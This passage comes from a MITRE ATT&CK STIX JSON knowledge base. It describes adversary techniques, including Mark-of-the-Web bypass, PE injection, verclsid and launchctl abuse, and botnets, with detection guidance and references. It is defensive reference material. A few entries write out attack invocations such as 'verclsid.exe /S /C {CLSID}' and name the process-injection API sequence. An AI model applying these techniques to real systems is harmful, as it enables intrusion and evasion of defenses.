            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
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            "x_mitre_version": "1.6",
            "x_mitre_data_sources": [
                "Internet Scan: Response Content",
                "Domain Name: Domain Registration",
                "Domain Name: Active DNS",
                "Domain Name: Passive DNS",
                "Internet Scan: Response Metadata"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--7e7c2fba-7cca-486c-9582-4c1bb2851961",
            "created": "2021-02-22T14:20:31.650Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1553/005",
                    "external_id": "T1553.005"
                },
                {
                    "source_name": "Beek Use of VHD Dec 2020",
                    "description": "Beek, C. (2020, December 3). Investigating the Use of VHD Files By Cybercriminals. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20201203131725/https://christiaanbeek.medium.com/investigating-the-use-of-vhd-files-by-cybercriminals-3f1f08304316"
                },
                {
                    "source_name": "Outflank MotW 2020",
                    "description": "Hegt, S. (2020, March 30). Mark-of-the-Web from a red team\u2019s perspective. Retrieved February 22, 2021.",
                    "url": "https://outflank.nl/blog/2020/03/30/mark-of-the-web-from-a-red-teams-perspective/"
                },
                {
                    "source_name": "Intezer Russian APT Dec 2020",
                    "description": "Kennedy, J. (2020, December 9). A Zebra in Gopher's Clothing: Russian APT Uses COVID-19 Lures to Deliver Zebrocy. Retrieved February 22, 2021.",
                    "url": "https://www.intezer.com/blog/research/russian-apt-uses-covid-19-lures-to-deliver-zebrocy/"
                },
                {
                    "source_name": "Microsoft Zone.Identifier 2020",
                    "description": "Microsoft. (2020, August 31). Zone.Identifier Stream Name. Retrieved February 22, 2021.",
                    "url": "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/6e3f7352-d11c-4d76-8c39-2516a9df36e8"
                },
                {
                    "source_name": "Disable automount for ISO",
                    "description": "wordmann. (2022, February 8). Disable Disc Imgage. Retrieved February 8, 2022.",
                    "url": "https://gist.github.com/wdormann/fca29e0dcda8b5c0472e73e10c78c3e7"
                }
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            "modified": "2025-04-15T19:58:45.702Z",
            "name": "Mark-of-the-Web Bypass",
            "description": "Adversaries may abuse specific file formats to subvert Mark-of-the-Web (MOTW) controls. In Windows, when files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named <code>Zone.Identifier</code> with a specific value known as the MOTW.(Citation: Microsoft Zone.Identifier 2020) Files that are tagged with MOTW are protected and cannot perform certain actions. For example, starting in MS Office 10, if a MS Office file has the MOTW, it will open in Protected View. Executables tagged with the MOTW will be processed by Windows Defender SmartScreen that compares files with an allowlist of well-known executables. If the file is not known/trusted, SmartScreen will prevent the execution and warn the user not to run it.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)(Citation: Intezer Russian APT Dec 2020)\n\nAdversaries may abuse container files such as compressed/archive (.arj, .gzip) and/or disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW. Container files downloaded from the Internet will be marked with MOTW but the files within may not inherit the MOTW after the container files are extracted and/or mounted. MOTW is a NTFS feature and many container files do not support NTFS alternative data streams. After a container file is extracted and/or mounted, the files contained within them may be treated as local files on disk and run without protections.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)",
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            "x_mitre_contributors": [
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            "x_mitre_detection": "Monitor compressed/archive and image files downloaded from the Internet as the contents may not be tagged with the MOTW. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities.(Citation: Disable automount for ISO)",
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            "type": "attack-pattern",
            "id": "attack-pattern--7efba77e-3bc4-4ca5-8292-d8201dcd64b5",
            "created": "2020-10-19T19:11:18.757Z",
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                    "url": "https://attack.mitre.org/techniques/T1600/002",
                    "external_id": "T1600.002"
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                {
                    "source_name": "Cisco Blog Legacy Device Attacks",
                    "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.",
                    "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"
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            "name": "Disable Crypto Hardware",
            "description": "Adversaries disable a network device\u2019s dedicated hardware encryption, which may enable them to leverage weaknesses in software encryption in order to reduce the effort involved in collecting, manipulating, and exfiltrating transmitted data.\n\nMany network devices such as routers, switches, and firewalls, perform encryption on network traffic to secure transmission across networks. Often, these devices are equipped with special, dedicated encryption hardware to greatly increase the speed of the encryption process as well as to prevent malicious tampering. When an adversary takes control of such a device, they may disable the dedicated hardware, for example, through use of [Modify System Image](https://attack.mitre.org/techniques/T1601), forcing the use of software to perform encryption on general processors. This is typically used in conjunction with attacks to weaken the strength of the cipher in software (e.g., [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001)). (Citation: Cisco Blog Legacy Device Attacks)",
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                    "phase_name": "defense-evasion"
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            "x_mitre_platforms": [
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            "id": "attack-pattern--7f0ca133-88c4-40c6-a62f-b3083a7fbc2e",
            "created": "2019-11-13T14:44:49.439Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1542",
                    "external_id": "T1542"
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                {
                    "source_name": "ITWorld Hard Disk Health Dec 2014",
                    "description": "Pinola, M. (2014, December 14). 3 tools to check your hard drive's health and make sure it's not already dying on you. Retrieved November 17, 2024.",
                    "url": "https://www.computerworld.com/article/1484887/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html"
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                {
                    "source_name": "Wikipedia Booting",
                    "description": "Wikipedia. (n.d.). Booting. Retrieved November 13, 2019.",
                    "url": "https://en.wikipedia.org/wiki/Booting"
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            "modified": "2025-04-15T19:58:45.876Z",
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            "description": "Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system. During the booting process of a computer, firmware and various startup services are loaded before the operating system. These programs control flow of execution before the operating system takes control.(Citation: Wikipedia Booting)\n\nAdversaries may overwrite data in boot drivers or firmware such as BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) to persist on systems at a layer below the operating system. This can be particularly difficult to detect as malware at this level will not be detected by host software-based defenses.",
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            "x_mitre_detection": "Perform integrity checking on pre-OS boot mechanisms that can be manipulated for malicious purposes. Take snapshots of boot records and firmware and compare against known good images. Log changes to boot records, BIOS, and EFI, which can be performed by API calls, and compare against known good behavior and patching.\n\nDisk check, forensic utilities, and data from device drivers (i.e. processes and API calls) may reveal anomalies that warrant deeper investigation.(Citation: ITWorld Hard Disk Health Dec 2014)",
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            "type": "attack-pattern",
            "id": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44",
            "created": "2017-05-31T21:30:51.733Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1064",
                    "external_id": "T1064"
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                {
                    "source_name": "Metasploit_Ref",
                    "description": "Metasploit. (n.d.). Retrieved December 4, 2014.",
                    "url": "http://www.metasploit.com"
                },
                {
                    "source_name": "Veil_Ref",
                    "description": "Veil Framework. (n.d.). Retrieved December 4, 2014.",
                    "url": "https://www.veil-framework.com/framework/"
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                {
                    "source_name": "Powersploit",
                    "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.",
                    "url": "https://github.com/mattifestation/PowerSploit"
                },
                {
                    "source_name": "Alperovitch 2014",
                    "description": "Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.",
                    "url": "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/"
                },
                {
                    "source_name": "Uperesia Malicious Office Documents",
                    "description": "Felix. (2016, September). Analyzing Malicious Office Documents. Retrieved April 11, 2018.",
                    "url": "https://www.uperesia.com/analyzing-malicious-office-documents"
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            "object_marking_refs": [
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            "modified": "2025-04-25T15:15:48.264Z",
            "name": "Scripting",
            "description": "**This technique has been deprecated. Please use [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) where appropriate.**\n\nAdversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and [PowerShell](https://attack.mitre.org/techniques/T1086) but could also be in the form of command-line batch scripts.\n\nScripts can be embedded inside Office documents as macros that can be set to execute when files used in [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than software exploitation through [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), where adversaries will rely on macros being allowed or that the user will accept to activate them.\n\nMany popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. Metasploit (Citation: Metasploit_Ref), Veil (Citation: Veil_Ref), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014)",
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                    "phase_name": "defense-evasion"
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                    "phase_name": "execution"
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            "x_mitre_detection": "Scripting may be common on admin, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\n\nAnalyze Office file attachments for potentially malicious macros. Execution of macros may create suspicious process trees depending on what the macro is designed to do. Office processes, such as winword.exe, spawning instances of cmd.exe, script application like wscript.exe or powershell.exe, or other suspicious processes may indicate malicious activity. (Citation: Uperesia Malicious Office Documents)",
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            "id": "attack-pattern--800f9819-7007-4540-a520-40e655876800",
            "created": "2021-03-30T17:54:03.944Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1612",
                    "external_id": "T1612"
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                {
                    "source_name": "Aqua Build Images on Hosts",
                    "description": "Assaf Morag. (2020, July 15). Threat Alert: Attackers Building Malicious Images on Your Hosts. Retrieved March 29, 2021.",
                    "url": "https://blog.aquasec.com/malicious-container-image-docker-container-host"
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                {
                    "source_name": "Docker Build Image",
                    "description": "Docker. ( null). Docker Engine API v1.41 Reference - Build an Image. Retrieved March 30, 2021.",
                    "url": "https://docs.docker.com/engine/api/v1.41/#operation/ImageBuild"
                },
                {
                    "source_name": "Aqua Security Cloud Native Threat Report June 2021",
                    "description": "Team Nautilus. (2021, June). Attacks in the Wild on the Container Supply Chain and Infrastructure. Retrieved August 26, 2021.",
                    "url": "https://info.aquasec.com/hubfs/Threat%20reports/AquaSecurity_Cloud_Native_Threat_Report_2021.pdf?utm_campaign=WP%20-%20Jun2021%20Nautilus%202021%20Threat%20Research%20Report&utm_medium=email&_hsmi=132931006&_hsenc=p2ANqtz-_8oopT5Uhqab8B7kE0l3iFo1koirxtyfTehxF7N-EdGYrwk30gfiwp5SiNlW3G0TNKZxUcDkYOtwQ9S6nNVNyEO-Dgrw&utm_content=132931006&utm_source=hs_automation"
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            "modified": "2025-04-15T21:54:42.589Z",
            "name": "Build Image on Host",
            "description": "Adversaries may build a container image directly on a host to bypass defenses that monitor for the retrieval of malicious images from a public registry. A remote <code>build</code> request may be sent to the Docker API that includes a Dockerfile that pulls a vanilla base image, such as alpine, from a public or local registry and then builds a custom image upon it.(Citation: Docker Build Image)\n\nAn adversary may take advantage of that <code>build</code> API to build a custom image on the host that includes malware downloaded from their C2 server, and then they may utilize [Deploy Container](https://attack.mitre.org/techniques/T1610) using that custom image.(Citation: Aqua Build Images on Hosts)(Citation: Aqua Security Cloud Native Threat Report June 2021) If the base image is pulled from a public registry, defenses will likely not detect the image as malicious since it\u2019s a vanilla image. If the base image already resides in a local registry, the pull may be considered even less suspicious since the image is already in the environment. ",
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                "Vishwas Manral, McAfee"
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            "x_mitre_detection": "Monitor for unexpected Docker image build requests to the Docker daemon on hosts in the environment. Additionally monitor for subsequent network communication with anomalous IPs that have never been seen before in the environment that indicate the download of malicious code.",
            "x_mitre_domains": [
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                "Network Traffic: Network Connection Creation",
                "Network Traffic: Network Traffic Flow"
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            "id": "attack-pattern--804c042c-cfe6-449e-bc1a-ba0a998a70db",
            "created": "2017-05-31T21:30:46.047Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1051",
                    "external_id": "T1051"
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                {
                    "source_name": "Apache Server 2018",
                    "description": "Apache. (n.d.). Apache HTTP Server Version 2.4 Documentation - Web Site Content. Retrieved July 27, 2018.",
                    "url": "http://httpd.apache.org/docs/2.4/getting-started.html#content"
                },
                {
                    "source_name": "Webroot PHP 2011",
                    "description": "Brandt, Andrew. (2011, February 22). Malicious PHP Scripts on the Rise. Retrieved October 3, 2018.",
                    "url": "https://www.webroot.com/blog/2011/02/22/malicious-php-scripts-on-the-rise/"
                },
                {
                    "source_name": "Microsoft Web Root OCT 2016",
                    "description": "Microsoft. (2016, October 20). How to: Find the Web Application Root. Retrieved July 27, 2018."
                },
                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/563.html",
                    "external_id": "CAPEC-563"
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            "modified": "2025-04-15T19:58:46.143Z",
            "name": "Shared Webroot",
            "description": "**This technique has been deprecated and should no longer be used.**\n\nAdversaries may add malicious content to an internally accessible website through an open network file share that contains the website's webroot or Web content directory (Citation: Microsoft Web Root OCT 2016) (Citation: Apache Server 2018) and then browse to that content with a Web browser to cause the server to execute the malicious content. The malicious content will typically run under the context and permissions of the Web server process, often resulting in local system or administrative privileges, depending on how the Web server is configured.\n\nThis mechanism of shared access and remote execution could be used for lateral movement to the system running the Web server. For example, a Web server running PHP with an open network share could allow an adversary to upload a remote access tool and PHP script to execute the RAT on the system running the Web server when a specific page is visited. (Citation: Webroot PHP 2011)",
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                    "external_id": "T1055.002"
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                {
                    "source_name": "Elastic Process Injection July 2017",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
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            "modified": "2025-04-25T14:47:15.984Z",
            "name": "Portable Executable Injection",
            "description": "Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process. \n\nPE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as <code>VirtualAllocEx</code> and <code>WriteProcessMemory</code>, then invoked with <code>CreateRemoteThread</code> or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references. (Citation: Elastic Process Injection July 2017) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process. ",
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            "x_mitre_domains": [
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                "Windows"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Process: Process Access",
                "Process: OS API Execution",
                "Process: Process Modification"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--808e6329-ca91-4b87-ac2d-8eadc5f8f327",
            "created": "2020-08-10T13:59:38.443Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1218/012",
                    "external_id": "T1218.012"
                },
                {
                    "source_name": "BOHOPS Abusing the COM Registry",
                    "description": "BOHOPS. (2018, August 18). Abusing the COM Registry Structure (Part 2): Hijacking & Loading Techniques. Retrieved August 10, 2020.",
                    "url": "https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/"
                },
                {
                    "source_name": "Red Canary Verclsid.exe",
                    "description": "Haag, M., Levan, K. (2017, April 6). Old Phishing Attacks Deploy a New Methodology: Verclsid.exe. Retrieved August 10, 2020.",
                    "url": "https://redcanary.com/blog/verclsid-exe-threat-detection/"
                },
                {
                    "source_name": "LOLBAS Verclsid",
                    "description": "LOLBAS. (n.d.). Verclsid.exe. Retrieved August 10, 2020.",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Verclsid/"
                },
                {
                    "source_name": "Nick Tyrer GitHub",
                    "description": "Tyrer, N. (n.d.). Instructions. Retrieved August 10, 2020.",
                    "url": "https://gist.github.com/NickTyrer/0598b60112eaafe6d07789f7964290d5"
                },
                {
                    "source_name": "WinOSBite verclsid.exe",
                    "description": "verclsid-exe. (2019, December 17). verclsid.exe File Information - What is it & How to Block\u00a0. Retrieved November 17, 2024.",
                    "url": "https://winosbite.com/verclsid-exe/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:46.323Z",
            "name": "Verclsid",
            "description": "Adversaries may abuse verclsid.exe to proxy execution of malicious code. Verclsid.exe is known as the Extension CLSID Verification Host and is responsible for verifying each shell extension before they are used by Windows Explorer or the Windows Shell.(Citation: WinOSBite verclsid.exe)\n\nAdversaries may abuse verclsid.exe to execute malicious payloads. This may be achieved by running <code>verclsid.exe /S /C {CLSID}</code>, where the file is referenced by a Class ID (CLSID), a unique identification number used to identify COM objects. COM payloads executed by verclsid.exe may be able to perform various malicious actions, such as loading and executing COM scriptlets (SCT) from remote servers (similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010)). Since the binary may be signed and/or native on Windows systems, proxying execution via verclsid.exe may bypass application control solutions that do not account for its potential abuse.(Citation: LOLBAS Verclsid)(Citation: Red Canary Verclsid.exe)(Citation: BOHOPS Abusing the COM Registry)(Citation: Nick Tyrer GitHub) ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Rodrigo Garcia, Red Canary"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of verclsid.exe. Compare recent invocations of verclsid.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the invocation of verclsid.exe may also be useful in determining the origin and purpose of the payload being executed. Depending on the environment, it may be unusual for verclsid.exe to have a parent process of a Microsoft Office product. It may also be unusual for verclsid.exe to have any child processes or to make network connections or file modifications.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "2.1",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Process: Process Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--81033c3b-16a4-46e4-8fed-9b030dd03c4a",
            "created": "2020-10-01T01:17:15.965Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1586",
                    "external_id": "T1586"
                },
                {
                    "source_name": "AnonHBGary",
                    "description": "Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.",
                    "url": "https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/"
                },
                {
                    "source_name": "Microsoft DEV-0537",
                    "description": "Microsoft. (2022, March 22). DEV-0537 criminal actor targeting organizations for data exfiltration and destruction. Retrieved March 23, 2022.",
                    "url": "https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:07:30.871Z",
            "name": "Compromise Accounts",
            "description": "Adversaries may compromise accounts with services that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating accounts (i.e. [Establish Accounts](https://attack.mitre.org/techniques/T1585)), adversaries may compromise existing accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. \n\nA variety of methods exist for compromising accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials.(Citation: AnonHBGary)(Citation: Microsoft DEV-0537) Prior to compromising accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.\n\nPersonas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). Compromised accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos.\n\nAdversaries may directly leverage compromised email accounts for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Persona: Social Media",
                "Network Traffic: Network Traffic Content"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--810aa4ad-61c9-49cb-993f-daa06199421d",
            "created": "2020-03-10T18:26:56.187Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1569/001",
                    "external_id": "T1569.001"
                },
                {
                    "source_name": "Sofacy Komplex Trojan",
                    "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
                },
                {
                    "source_name": "20 macOS Common Tools and Techniques",
                    "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.",
                    "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/"
                },
                {
                    "source_name": "Launchctl Man",
                    "description": "SS64. (n.d.). launchctl. Retrieved March 28, 2020.",
                    "url": "https://ss64.com/osx/launchctl.html"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:46.562Z",
            "name": "Launchctl",
            "description": "Adversaries may abuse launchctl to execute commands or programs. Launchctl interfaces with launchd, the service management framework for macOS. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.(Citation: Launchctl Man)\n\nAdversaries use launchctl to execute commands and programs as [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s. Common subcommands include: <code>launchctl load</code>,<code>launchctl unload</code>, and <code>launchctl start</code>. Adversaries can use scripts or manually run the commands <code>launchctl load -w \"%s/Library/LaunchAgents/%s\"</code> or <code>/bin/launchctl load</code> to execute [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s.(Citation: Sofacy Komplex Trojan)(Citation: 20 macOS Common Tools and Techniques)\n",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Every Launch Agent and Launch Daemon must have a corresponding plist file on disk which can be monitored. Monitor for recently modified or created plist files with a significant change to the executable path executed with the command-line <code>launchctl</code> command. Plist files are located in the root, system, and users <code>/Library/LaunchAgents</code> or <code>/Library/LaunchDaemons</code> folders. \n\nMonitor command-line execution of the <code>launchctl</code> command immediately followed by abnormal network connections. [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s with executable paths pointing to <code>/tmp</code> and <code>/Shared</code> folders locations are potentially suspicious. \n\nWhen removing [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s ensure the services are unloaded prior to deleting plist files.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "Service: Service Creation",
                "File: File Modification"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--810d8072-afb6-4a56-9ee7-86379ac4a6f3",
            "created": "2020-10-01T00:58:35.269Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1584/005",
                    "external_id": "T1584.005"
                },
                {
                    "source_name": "Dell Dridex Oct 2015",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, October 13). Dridex (Bugat v5) Botnet Takeover Operation. Retrieved May 31, 2019.",
                    "url": "https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation"
                },
                {
                    "source_name": "Imperva DDoS for Hire",
                    "description": "Imperva. (n.d.). Booters, Stressers and DDoSers. Retrieved October 4, 2020.",
                    "url": "https://www.imperva.com/learn/ddos/booters-stressers-ddosers/"
                },
                {
                    "source_name": "Norton Botnet",
                    "description": "Norton. (n.d.). What is a botnet?. Retrieved October 4, 2020.",
                    "url": "https://us.norton.com/internetsecurity-malware-what-is-a-botnet.html"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T13:38:12.734Z",
            "name": "Botnet",
            "description": "Adversaries may compromise numerous third-party systems to form a botnet\u00a0that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Instead of purchasing/renting a botnet from a booter/stresser service, adversaries may build their own botnet by compromising numerous third-party systems.(Citation: Imperva DDoS for Hire) Adversaries may also conduct a takeover of an existing botnet, such as redirecting bots to adversary-controlled C2 servers.(Citation: Dell Dridex Oct 2015) With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during [Phishing](https://attack.mitre.org/techniques/T1566), [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499), or [Network Denial of Service](https://attack.mitre.org/techniques/T1498).",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--818302b2-d640-477b-bf88-873120ce85c4",
            "created": "2020-10-20T00:09:33.072Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1059/008",
                    "external_id": "T1059.008"
                },
                {
                    "source_name": "Cisco IOS Software Integrity Assurance - Command History",
                    "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020.",
                    "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#23"
                },
                {
                    "source_name": "Cisco Synful Knock Evolution",
                    "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.",
                    "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T20:37:18.015Z",
            "name": "Network Device CLI",
